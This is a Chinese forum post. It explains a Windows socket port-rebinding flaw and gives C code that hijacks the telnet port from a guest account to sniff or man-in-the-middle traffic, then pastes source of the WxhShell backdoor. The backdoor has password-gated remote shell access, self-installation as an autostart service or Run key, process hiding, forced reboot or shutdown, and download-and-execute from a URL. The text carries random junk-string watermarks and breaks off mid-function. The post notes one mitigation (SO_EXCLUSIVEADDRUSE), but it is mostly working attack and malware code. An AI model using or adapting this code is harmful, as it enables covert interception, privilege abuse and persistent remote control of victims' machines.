社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13643阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d#Ajb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C.-a:oQ[  
Hi9z<l=$  
  saddr.sin_family = AF_INET; MV}]i@ V  
j+hoj2(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rYQ@"o0/Y  
M'iKk[Hjfx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r `dU (T!  
?xZmm%JF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rUjr'O0  
E,@UM$alP  
  这意味着什么?意味着可以进行如下的攻击: z%tu6_4j  
#+0 R!Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $lA,{Q  
($> 0&w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CaBS0' n  
FOi`TZ8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u0b-JJ7)BQ  
{2^ @jD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0pa^O$?p  
9G+rxyWMW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v!A|n3B]p  
A> A'dQ69  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &Ld8Z9IeFp  
]_8I_V cQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8T )ELhTj  
S=SncMO nE  
  #include 5O ;^Mk|  
  #include :-" jK w  
  #include }#5roNH~Z  
  #include    :~R Fy?xRa  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^!_7L4&y  
  int main() ':)j@O3-  
  { PJ:5Lb<  
  WORD wVersionRequested; $ywh%OEH  
  DWORD ret; +N:6wZ7<f  
  WSADATA wsaData; }A/&]1GWk  
  BOOL val; 6F/ OlK<  
  SOCKADDR_IN saddr; jYID44$  
  SOCKADDR_IN scaddr; yc=#Jn?S  
  int err; q<[ke   
  SOCKET s; }IkEyJsk  
  SOCKET sc; h_G Bx|c  
  int caddsize; W;]U P$5l  
  HANDLE mt; ./y[<e  
  DWORD tid;   ]V^.!=gh$  
  wVersionRequested = MAKEWORD( 2, 2 ); 6v O)s!b  
  err = WSAStartup( wVersionRequested, &wsaData ); 6-14Htsk6  
  if ( err != 0 ) { Ds,"E#?  
  printf("error!WSAStartup failed!\n"); h=r< B\Pa  
  return -1; P3ev 4DL  
  } L4*fF  
  saddr.sin_family = AF_INET; K |} ]<  
   JD`;,Md  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 udI: ]:,P  
|O+>#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qS}RFM5|  
  saddr.sin_port = htons(23); A<X :K nl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j{Jc6U  
  { ZfCr"aL  
  printf("error!socket failed!\n"); gdFoTcHgO|  
  return -1; NG!cEo:2aa  
  } 3nC#$L-   
  val = TRUE; #r^@*<{^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pjs9b%.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c0Ro3j\p  
  { G|oB'~ {&  
  printf("error!setsockopt failed!\n"); &\ lS  
  return -1; [piF MxZP  
  } hIo S#]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^npS==Y]!.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :F w"u4WI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7a]Zws  
.P :f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EJ;0ypbG  
  { n.6 0$kR`  
  ret=GetLastError(); U2>dwn  
  printf("error!bind failed!\n"); FoD/Q  
  return -1; })Mv9~&S  
  } cc(r,ij~4  
  listen(s,2); D)ne *},  
  while(1) DEp%\sj?  
  { lJ]\  
  caddsize = sizeof(scaddr); 4OZ5hH h  
  //接受连接请求 mx(%tz^t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QDgEJ%U-  
  if(sc!=INVALID_SOCKET) QD;f~fZ  
  { (6#yw`\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H0b6ZA%n  
  if(mt==NULL) ivUsMhx>S,  
  { !0csNg!  
  printf("Thread Creat Failed!\n"); &Bz7fKCo  
  break; V_A,d8=lt  
  } VfA5r`^  
  } Xt,,AGm}  
  CloseHandle(mt); KkL:p?@n  
  } iraRB~  
  closesocket(s); -=t3O#  
  WSACleanup(); 1QF*e'  
  return 0; .m]=JC5'  
  }   E%\7Uo-  
  DWORD WINAPI ClientThread(LPVOID lpParam) w]Ko/;;^2  
  { 90h1e7ZcC  
  SOCKET ss = (SOCKET)lpParam; :_QAjU  
  SOCKET sc; ['Y+z2k  
  unsigned char buf[4096]; |RAQ%VXm  
  SOCKADDR_IN saddr; 9<(K6Q  
  long num; 8K JQ(  
  DWORD val; + 65~,e  
  DWORD ret; Y K?*7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jPYe_y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O *J_+6  
  saddr.sin_family = AF_INET; |h=+&*(:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hr!f: D  
  saddr.sin_port = htons(23); n@07$lY@;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T:g4D z*2\  
  { X!#i@V  
  printf("error!socket failed!\n"); ss0'GfP  
  return -1; Vyt~OTI\  
  } [N95.aD  
  val = 100; nvs}r%1'5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VkTlPmr  
  { DYT -#Ht  
  ret = GetLastError(); aa0`y  
  return -1; `l gjw=  
  } )_c=mT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Oa\`;  
  { n:bB$Ai2  
  ret = GetLastError(); [6_Du6\h  
  return -1; -Nlf~X  
  } 8pq-nuf|K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) # +QWi0B  
  { NHFEr  
  printf("error!socket connect failed!\n"); Bd[L6J)  
  closesocket(sc); a:-)+sgHw  
  closesocket(ss); aZawBU.:  
  return -1; yA?ENAM  
  } NO+ 55n  
  while(1) {n'qKur xY  
  { n(Q\' ,C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sR>`QIi(a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uFm+Y]h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 orB8Q\p'  
  num = recv(ss,buf,4096,0); KCJN<  
  if(num>0) `j}_BW_  
  send(sc,buf,num,0); aW=By)S!Y  
  else if(num==0) J~iOP  
  break; ` Y{>2UFX  
  num = recv(sc,buf,4096,0); b@2Cl l#  
  if(num>0) U BhciZ  
  send(ss,buf,num,0); uEScAeQXsI  
  else if(num==0) ol$2sI=.s  
  break; |%'6f}fnE  
  } u( 1J=h  
  closesocket(ss); GP[6nw_'^  
  closesocket(sc); XDpfpJ,z"}  
  return 0 ; aE7u5 PM  
  } "w*+v  
d)04;[=  
>:F,-cx<  
========================================================== XOysgX0g  
.1.J5>/n  
下边附上一个代码,,WXhSHELL hncS_ZA  
G}!7tU  
========================================================== :W.jNV{e\F  
& Fg|%,fv]  
#include "stdafx.h" w~kHQ%A  
c Ndw9?Z  
#include <stdio.h> IPl@ DH  
#include <string.h> Fw_ (q!  
#include <windows.h> ;YK!EMM4!h  
#include <winsock2.h> ] vC=.&]  
#include <winsvc.h> Qw24/DJK  
#include <urlmon.h> uP{; *E3?  
u.Mqj"o\  
#pragma comment (lib, "Ws2_32.lib") SU?wFCGT%  
#pragma comment (lib, "urlmon.lib") JN9^fR09G  
az0cS*@  
#define MAX_USER   100 // 最大客户端连接数 rr|"r  
#define BUF_SOCK   200 // sock buffer B0f_kH~p~  
#define KEY_BUFF   255 // 输入 buffer 3g4e' ]t  
FE/$(7rM  
#define REBOOT     0   // 重启 #v.L$7O  
#define SHUTDOWN   1   // 关机 G/v|!}?wG  
+ $>N]1  
#define DEF_PORT   5000 // 监听端口 blJIto '  
3c c1EQ9  
#define REG_LEN     16   // 注册表键长度 CN$I:o04C  
#define SVC_LEN     80   // NT服务名长度 f#@S*^%V$  
7t'(`A 6t/  
// 从dll定义API p3g4p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RnHQq'J|\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); as>:\hjP##  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d i!"IQAvK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tdg6kkJ  
b.QpHrnhtK  
// wxhshell配置信息 vFTXTbt'h  
struct WSCFG { :@.C4oq  
  int ws_port;         // 监听端口 2 =>*O  
  char ws_passstr[REG_LEN]; // 口令 e#tIk;9Xz  
  int ws_autoins;       // 安装标记, 1=yes 0=no nz^nptw  
  char ws_regname[REG_LEN]; // 注册表键名 XJe/tR  
  char ws_svcname[REG_LEN]; // 服务名 E]NY (1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GGH;Z WSe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "X`RQ6~]>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aiYo8+{!#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kEO1TS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7'Lp8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >A3LA3( c  
}/20%fP  
}; d+tj%7  
S#k{e72 *  
// default Wxhshell configuration `%|u!  
struct WSCFG wscfg={DEF_PORT, lqF>=15  
    "xuhuanlingzhe", qk&gA}qF  
    1, sH%&+4!3  
    "Wxhshell", s}wO7Df=+  
    "Wxhshell", :AZp}  
            "WxhShell Service", $57\u/(  
    "Wrsky Windows CmdShell Service", ) ]73S@P(=  
    "Please Input Your Password: ", iAK/d)bq  
  1, ^]VcxKUJ  
  "http://www.wrsky.com/wxhshell.exe", m$?.Yig?  
  "Wxhshell.exe" B~?c3:6  
    }; !}ilN 1>  
{gsW(T>)  
// 消息定义模块 ,(P %z.P@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +$PFHXB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wS V@=)H\:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l8^y]M  
char *msg_ws_ext="\n\rExit."; (v!mR+\x  
char *msg_ws_end="\n\rQuit."; #pX8{Tf[  
char *msg_ws_boot="\n\rReboot..."; PB+\jj  
char *msg_ws_poff="\n\rShutdown..."; WHP;Neb6  
char *msg_ws_down="\n\rSave to "; RK-x?ZYH'  
!3h{lE B  
char *msg_ws_err="\n\rErr!"; Je^Y&a~  
char *msg_ws_ok="\n\rOK!"; PcB{ = L  
`NQ{)N0!  
char ExeFile[MAX_PATH]; DcN"=Y  
int nUser = 0; 'j}g  
HANDLE handles[MAX_USER]; ehE-SrkU'  
int OsIsNt; FuuS"G,S  
p5-<P?B  
SERVICE_STATUS       serviceStatus; pw3 (t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S;8.yj-  
6}ftBmv  
// 函数声明  ;1@C_5C  
int Install(void); ';6X!KY+]  
int Uninstall(void); jB!W2~Z  
int DownloadFile(char *sURL, SOCKET wsh); t@)my[!  
int Boot(int flag); 2 5Q+1  
void HideProc(void); @V$I?iXV  
int GetOsVer(void); &$F[/[Ds+  
int Wxhshell(SOCKET wsl); -D#5o,]3  
void TalkWithClient(void *cs); T%kKVr  
int CmdShell(SOCKET sock); dQ<(lzS~  
int StartFromService(void); 9`BEi(z  
int StartWxhshell(LPSTR lpCmdLine); &\k?xN  
B9*Sfw%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xQo~%wW,?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _IxamWpX$  
lUHtjr  
// 数据结构和表定义 vL$|9|W(  
SERVICE_TABLE_ENTRY DispatchTable[] = IcFK,y%1  
{ f>niFPW"  
{wscfg.ws_svcname, NTServiceMain}, ^wJEfac  
{NULL, NULL} )|RZa|`-G  
}; f&c]LH _  
i=L8=8B`  
// 自我安装 y"-{$N  
int Install(void) 4)^vMG&  
{ RL*]g*  
  char svExeFile[MAX_PATH]; TT7PQf >  
  HKEY key;  P?J kP  
  strcpy(svExeFile,ExeFile); /PqUXF  
:G 5C ]'t  
// 如果是win9x系统,修改注册表设为自启动 6R2uWv  
if(!OsIsNt) { 4%7s259%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4.Z(:g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~^$MA$/p  
  RegCloseKey(key); g\&2s,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Z`0>R`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >A($8=+#x  
  RegCloseKey(key); U Du~2%  
  return 0; HN68!v}C|  
    } cy3M^_5B<  
  } fK_~lGY(  
}  hgO?+x  
else { 6m+W#]^  
[))JX"a  
// 如果是NT以上系统,安装为系统服务 _2OuskL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -!TcQzHUs  
if (schSCManager!=0) H)5QqZ8  
{ A"4@L*QV  
  SC_HANDLE schService = CreateService 3ji:O T  
  ( <KLg0L<W  
  schSCManager, ^f|<R8`  
  wscfg.ws_svcname, U5<@<j(@  
  wscfg.ws_svcdisp, o/1JO_41  
  SERVICE_ALL_ACCESS, RZh}:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X+iK<F$  
  SERVICE_AUTO_START, !M(:U,?B  
  SERVICE_ERROR_NORMAL, 0`n 5x0R  
  svExeFile, 8=F%+  
  NULL, "PzP; Br  
  NULL, 1lcnRHO  
  NULL, lKWr=k~  
  NULL, <*Ub2B[m  
  NULL Dm%%e o  
  ); s.:r;%a  
  if (schService!=0) aZKXD! 4  
  { c'0 5{C  
  CloseServiceHandle(schService); J3B.-XJ+n  
  CloseServiceHandle(schSCManager); VR4%v9[1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y|sma;D  
  strcat(svExeFile,wscfg.ws_svcname); {mSJUK?TKl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8lwM{?k$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %F J#uQXZ  
  RegCloseKey(key); fsvYU0L  
  return 0; %v4ZGtKC@  
    } Tpzw=bC^  
  } wmYvD<  
  CloseServiceHandle(schSCManager); 31}W6l88c  
} 9j#@p   
} A[H;WKn0  
C9jbv/c  
return 1; 0H[LS  
} pjN:&#Y]  
*Jt8  
// 自我卸载 ?9e]   
int Uninstall(void) }bMWTT  
{ 2xTT)9Tq*  
  HKEY key; ?@UAL .y  
GMm'of#  
if(!OsIsNt) { A5XR3$5P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r1Z<:}ZwK  
  RegDeleteValue(key,wscfg.ws_regname); <Wy>^<`  
  RegCloseKey(key); *]x_,:R6Ow  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a)S7}0|R  
  RegDeleteValue(key,wscfg.ws_regname); C).2gQ G  
  RegCloseKey(key); ce'TYkPM  
  return 0; Km*<Kfcz  
  } lIh[|]  
} ]y LhJ_^  
} 9=$ !gC)  
else { bk3Unreh  
kG^dqqn6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ' msmXX@q  
if (schSCManager!=0) >IY,be6>P  
{ yr{B5z,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bx>i6 R2  
  if (schService!=0) J#7y< s  
  { @!\K>G >9[  
  if(DeleteService(schService)!=0) { -0 0}if7  
  CloseServiceHandle(schService); !kXeO6X@m  
  CloseServiceHandle(schSCManager); G9RP^  
  return 0; I KcKRw/O$  
  } ;fGx;D  
  CloseServiceHandle(schService); U)[ty@zyF  
  } y $V[_TN  
  CloseServiceHandle(schSCManager); 2jA%[L9d^  
} ]US[5)EL-  
} %;O}FyP  
/ L~u0 2?  
return 1; M!{'ED  
} Kx6y" {me|  
n}J^6:1  
// 从指定url下载文件  r(`nt-o@  
int DownloadFile(char *sURL, SOCKET wsh) I]uhi{\C  
{ 2c:f<>r0y  
  HRESULT hr; d 4O   
char seps[]= "/"; VzwPBQ -  
char *token; @2' %o<lF  
char *file; hI~SAd ,#A  
char myURL[MAX_PATH]; !k<:k "7  
char myFILE[MAX_PATH]; ]rW8y%yD  
7GZq|M_:y  
strcpy(myURL,sURL); Z2p> n`D  
  token=strtok(myURL,seps); +t]Xj1Q  
  while(token!=NULL) 3s(Ia^  
  { v8@eW.I1  
    file=token; Sz0+ <F#5  
  token=strtok(NULL,seps); .nZ3kT`  
  } qY(:8yC36  
T9)wj][ .  
GetCurrentDirectory(MAX_PATH,myFILE); -<W2PY<  
strcat(myFILE, "\\"); m0( E kK  
strcat(myFILE, file); X+ f9q0  
  send(wsh,myFILE,strlen(myFILE),0); rsF:4G"%  
send(wsh,"...",3,0); JBcY!dy-d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \6 sQJq  
  if(hr==S_OK) e.;M.8N#SQ  
return 0; # *,sa  
else :oa9#c`L  
return 1; Y<LNQ]8\G  
Iql5T#K+  
} 0BTLcEqgZ  
E $6ejGw-  
// 系统电源模块 *fhX*e8y  
int Boot(int flag) T *P+Fh"  
{ >XE`h 9  
  HANDLE hToken; f7+Cz>R  
  TOKEN_PRIVILEGES tkp; eXzXd*$S  
KQ)T(mIqp  
  if(OsIsNt) { N@1p]\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0.DQO;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e@jfIF0=}  
    tkp.PrivilegeCount = 1; ;CmOsA,1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H/jm f5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); frH)_YJ%  
if(flag==REBOOT) { XxOn3i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (cs~@  
  return 0; kwar}:`  
} Lt>7hBe"  
else { =_QkH!vI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #x~_`>mDN  
  return 0; `K?1L{p'4  
} hKksVi  
  } 2R`u[  
  else { -P#nT 2  
if(flag==REBOOT) { {tt$w>X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y6VQ:glDT-  
  return 0; CEqZ:c  
} (~#G'Hd  
else { z5EVG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bp3L>AcVu  
  return 0; x!?Z *v@I  
} *Nlu5(z  
} H#+xKYrp  
<SQ(~xYi  
return 1; 0QoLS|voA/  
} Y/P]5: =h  
G (\Ckf:  
// win9x进程隐藏模块 hW%p#g;  
void HideProc(void) NI\H \#bJ  
{ xOIg|2^8  
p7UTqKi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JZ K7uB,X  
  if ( hKernel != NULL ) W5/};K\.  
  { *Sb2w*c>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z| L2oc e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QUp?i  
    FreeLibrary(hKernel); Gl>E[iO  
  } iQ{z6Qa  
PYieD}'  
return; T} 8CfG_ j  
} stXda@y<p  
^&m?qKN8  
// 获取操作系统版本 >zR14VO`_|  
int GetOsVer(void) @dV9Dpu  
{ M=+M8M`Iy  
  OSVERSIONINFO winfo; 3{pk5_c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !a[$)c  
  GetVersionEx(&winfo); 4\1;A`2%0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fq(5Lfe}  
  return 1; GZ"/k<~0  
  else 9K$]h2  
  return 0; ,Hh*3rR^  
} _ n_sfT6)B  
I>Y{>S  
// 客户端句柄模块 /.v_N%*-v  
int Wxhshell(SOCKET wsl) X <FOn7qf  
{ %^!aB  
  SOCKET wsh; nNs .,J)  
  struct sockaddr_in client; H9E(\)@  
  DWORD myID; +!xu{2!  
C9pnU,[  
  while(nUser<MAX_USER) 6KB^w0oA  
{ HTN$ >QTI  
  int nSize=sizeof(client); -p^'XL*Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SS0_P jKz  
  if(wsh==INVALID_SOCKET) return 1; raF] k0{  
b- uZ"Kf^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %-r?=L  
if(handles[nUser]==0) lG 8dI\`  
  closesocket(wsh); f| =# q  
else UEN56@eCNf  
  nUser++; 9.]kOs_  
  } Qpw@MF2P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o"4E+1qwM  
S[sr 'ZW  
  return 0; L5&K}F]r^  
} ( QKsB3X  
FSe5k5  
// 关闭 socket u ]SZ{[ e  
void CloseIt(SOCKET wsh) zQt1;bo  
{ J7Sx!PQ  
closesocket(wsh); 01o [!nT  
nUser--; \eT/%$  
ExitThread(0); MU*It"@}2  
} ;xI0\a7  
}Wqtip:L  
// 客户端请求句柄 Zg2]GJP  
void TalkWithClient(void *cs) :S#i9# aB  
{ _V&x`ks  
~\3l!zIq  
  SOCKET wsh=(SOCKET)cs; eq{ [?/  
  char pwd[SVC_LEN]; 0yKh p: ^  
  char cmd[KEY_BUFF]; *iYMX[$  
char chr[1]; 1NW>wo  
int i,j; shD+eHo$  
dt0T t  
  while (nUser < MAX_USER) { my]P_mE  
8'n#O>V@  
if(wscfg.ws_passstr) { 0xLkyt0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K(' 9l& A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YT][\x  
  //ZeroMemory(pwd,KEY_BUFF); Z rA Um  
      i=0; KjC[q  
  while(i<SVC_LEN) { 8cB=}XgYS  
kF#{An)P  
  // 设置超时 y>4p~  
  fd_set FdRead; =#jTo|~u4o  
  struct timeval TimeOut; ` 4OMZMq  
  FD_ZERO(&FdRead); V@Ax}<$A  
  FD_SET(wsh,&FdRead); ]bf'  
  TimeOut.tv_sec=8; 1]HHe*'Z  
  TimeOut.tv_usec=0; W%=Zdm rv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xJ$Rs/9C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2lF WW(  
 z I(xSX@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mSy|&(l  
  pwd=chr[0]; av"Dljc  
  if(chr[0]==0xd || chr[0]==0xa) { * q+oeAYX  
  pwd=0; ShsJ_/C2  
  break; PKl]Geg P  
  }  MK<  
  i++; 6^WiZ^~  
    } iOKr9%9?Z  
)gL&   
  // 如果是非法用户,关闭 socket xAeZ7.Q&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bOi};/f  
}  |h  
jQO* oq}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K3j_C` Se  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X >3iYDe  
dBsRm{aS  
while(1) { +Kxe ymwr2  
nZ"{y  
  ZeroMemory(cmd,KEY_BUFF); M?QQr~a  
!IfI-Q  
      // 自动支持客户端 telnet标准   -$'~;O3s  
  j=0; @?'t@P:4  
  while(j<KEY_BUFF) { c(QG4.)m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' #;,oX~5  
  cmd[j]=chr[0]; 38Bnf  
  if(chr[0]==0xa || chr[0]==0xd) { +8L(pMI4  
  cmd[j]=0; v(i1Z}*b  
  break; 6 Xzk;p  
  } d;;>4}XJ]  
  j++; }qG?Vmq*R[  
    } em f0sL  
=x|##7  
  // 下载文件 7}.#Z  
  if(strstr(cmd,"http://")) { 8<wtf]x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {JCSR2BB  
  if(DownloadFile(cmd,wsh)) v!WU |=u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QC$=Fs5+  
  else QCZ,K" y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Km|9Too  
  } Zm"!E6`69  
  else { 0IoXDx  
`I]1l MJ)o  
    switch(cmd[0]) { hY\Eh.  
  Q `J,dzY  
  // 帮助 L,s|gt v  
  case '?': { QO1A976o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !=8L.^5c  
    break; V+4k!  
  }  }qgqb  
  // 安装 L8,H9T#e  
  case 'i': { U08<V:~  
    if(Install()) 9}K(Q=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =:t@;y  
    else l8hvq(,{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "1gk-  
    break; >S?C {_g  
    } PCV58n3  
  // 卸载 8GF[)z&|P:  
  case 'r': { -s?dzX  
    if(Uninstall()) >/ *?4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CSd9\V  
    else ~:P8g<w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >oM9~7f  
    break; a"v"n$  
    } 4)x3!Ol  
  // 显示 wxhshell 所在路径 DK#65H'  
  case 'p': { Nqo#sBS  
    char svExeFile[MAX_PATH]; N \CEocU  
    strcpy(svExeFile,"\n\r"); Lz#$_Am'H  
      strcat(svExeFile,ExeFile); e')&ODQ H  
        send(wsh,svExeFile,strlen(svExeFile),0); nN_94 ZqS<  
    break; U5@TaGbx  
    } S*2L4Uj`|  
  // 重启 9TbS>o  
  case 'b': { :F KYYH\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); thlpj*|  
    if(Boot(REBOOT)) teQaHe#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wB1-|= K1  
    else { bJG!)3cx  
    closesocket(wsh); b]tA2~e  
